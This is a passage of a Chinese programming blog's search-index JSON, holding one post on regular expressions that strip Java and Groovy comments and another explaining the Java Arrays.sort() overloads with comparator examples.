href=\"http://iregex.org/blog/uncomment-program-with-regex.html\"\u003ehttp://iregex.org/blog/uncomment-program-with-regex.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e通用注释有两种:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003e//\u003c/code\u003e\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003e/*......*/\u003c/code\u003e\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e通常情况下,行级注释可以这样匹配\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\\/\\/[^\\n]*\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e块级别这样\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\\/\\*([^\\*^\\/]*|[\\*^\\\u003cspan class=\"comment\"\u003e/*]*|[^\\**\\/]*)*\\*\\/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e或者还可以这样\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\\/\\*(\\s|.)*?\\*\\/\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不过在特殊情况中,行级别会跟协议前缀冲突,所以还需要特殊处理\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e(?\u0026lt;!http:)\\/\\/.*\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e甚至于不限定于http协议\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e(?\u0026lt;!:)\\/\\/.*\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e最终处理注释为:\u003c/p\u003e\u003cfigure class=\"highlight groovy\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*** 处理注释 groovy代码 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e* @param text \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e* @return \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***/\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e removeComment(text) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e text.replaceAll(\u003cspan class=\"string\"\u003e\u0026#34;(?\u0026lt;!:)\\\\/\\\\/.*|\\\\/\\\\*(\\\\s|.)*?\\\\*\\\\/\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e) \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20%E5%8C%B9%E9%85%8D%E6%B3%A8%E9%87%8A%E7%9A%84%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/"},{"title":"Java Arrays.sort()详解","time":"2022-11-22T11:04:01Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"一、介绍\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/#%E4%B8%80%E3%80%81%E4%BB%8B%E7%BB%8D\" class=\"headerlink\" title=\"一、介绍\"\u003e\u003c/a\u003e一、介绍\u003c/h2\u003e\u003cp\u003eArrays.sort()是经过调优排序算法,性能能达到n*log(n)。Arrays.sort()重载了四类方法\u003c/p\u003e\u003cul\u003e\u003cli\u003esort(T[] a):对指定T型数组按数字升序排序。\u003c/li\u003e\u003cli\u003esort(T[] a,int formIndex, int toIndex):对指定T型数组的指定范围按数字升序排序。\u003c/li\u003e\u003cli\u003esort(T[] a, Comparator\u0026lt;? supre T\u0026gt; c): 根据指定比较器产生的顺序对指定对象数组进行排序。\u003c/li\u003e\u003cli\u003esort(T[] a, int formIndex, int toIndex, Comparator\u0026lt;? supre T\u0026gt; c): 根据指定比较器产生的顺序对指定对象数组的指定对象数组进行排序。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"1、sort-T-a\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/#1%E3%80%81sort-T-a\" class=\"headerlink\" title=\"1、sort(T[] a)\"\u003e\u003c/a\u003e1、sort(T[] a)\u003c/h3\u003e\u003cp\u003e对指定T型数组按数字升序排序。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Arrays;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Comparator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eArraysSort\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String[] args)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e[] a={\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e,\u003cspan class=\"number\"\u003e4\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e,\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e8\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println(Arrays.toString(a));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 结果 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// [1, 2, 3, 4, 5, 8] \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"2、sort-T-a-int-formIndex-int-toIndex\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/#2%E3%80%81sort-T-a-int-formIndex-int-toIndex\" class=\"headerlink\" title=\"2、sort(T[] a,int formIndex, int toIndex)\"\u003e\u003c/a\u003e2、sort(T[] a,int formIndex, int toIndex)\u003c/h3\u003e\u003cp\u003e对指定T型数组的指定范围按数字升序排序。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Arrays;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Comparator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eArraysSort\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String[] args)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e[] a={\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e,\u003cspan class=\"number\"\u003e4\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e,\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e8\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(a,\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println(Arrays.toString(a));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 结果\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// [2, 5, 1, 3, 4, 8]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"3、sort-T-a-Comparator-lt-supre-T-gt-c\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/#3%E3%80%81sort-T-a-Comparator-lt-supre-T-gt-c\" class=\"headerlink\" title=\"3、sort(T[] a, Comparator\u0026lt;? supre T\u0026gt; c)\"\u003e\u003c/a\u003e3、sort(T[] a, Comparator\u0026lt;? supre T\u0026gt; c)\u003c/h3\u003e\u003cp\u003e根据指定比较器产生的顺序对指定对象数组进行排序。\u003c/p\u003e\u003ch4 id=\"(1)按第一维元素比较二维数组\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/#%EF%BC%881%EF%BC%89%E6%8C%89%E7%AC%AC%E4%B8%80%E7%BB%B4%E5%85%83%E7%B4%A0%E6%AF%94%E8%BE%83%E4%BA%8C%E7%BB%B4%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"(1)按第一维元素比较二维数组\"\u003e\u003c/a\u003e(1)按第一维元素比较二维数组\u003c/h4\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Arrays;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Comparator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eArraysSort\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String[] args)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e[][] nums=\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eint\u003c/span\u003e[][]{{\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e},{\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e2\u003c/span\u003e},{\u003cspan class=\"number\"\u003e4\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e},{\u003cspan class=\"number\"\u003e3\u003c/span\u003e,\u003cspan class=\"number\"\u003e7\u003c/span\u003e}};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//方法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(nums,\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eComparator\u003c/span\u003e\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e[]\u0026gt;(){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e@Override\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompare\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] a,\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] b)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]==b[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]-b[\u003cspan class=\"number\"\u003e1\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]-b[\u003cspan class=\"number\"\u003e0\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e });\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 方法二,使用匿名表达式\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// (a,b)-\u0026gt;a[1]-b[1]会自动转变成上面的形式\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/*Arrays.sort(nums,(a,b)-\u0026gt;a[1]-b[1]);*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] num : nums) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println(Arrays.toString(num));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e[] a={\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e,\u003cspan class=\"number\"\u003e4\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e,\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e8\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(a,\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println(Arrays.toString(a));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 结果\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[1, 2]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[1, 3]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[3, 7]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e[4, 5]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"(2)按第二维元素比较二维数组\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/#%EF%BC%882%EF%BC%89%E6%8C%89%E7%AC%AC%E4%BA%8C%E7%BB%B4%E5%85%83%E7%B4%A0%E6%AF%94%E8%BE%83%E4%BA%8C%E7%BB%B4%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"(2)按第二维元素比较二维数组\"\u003e\u003c/a\u003e(2)按第二维元素比较二维数组\u003c/h4\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan 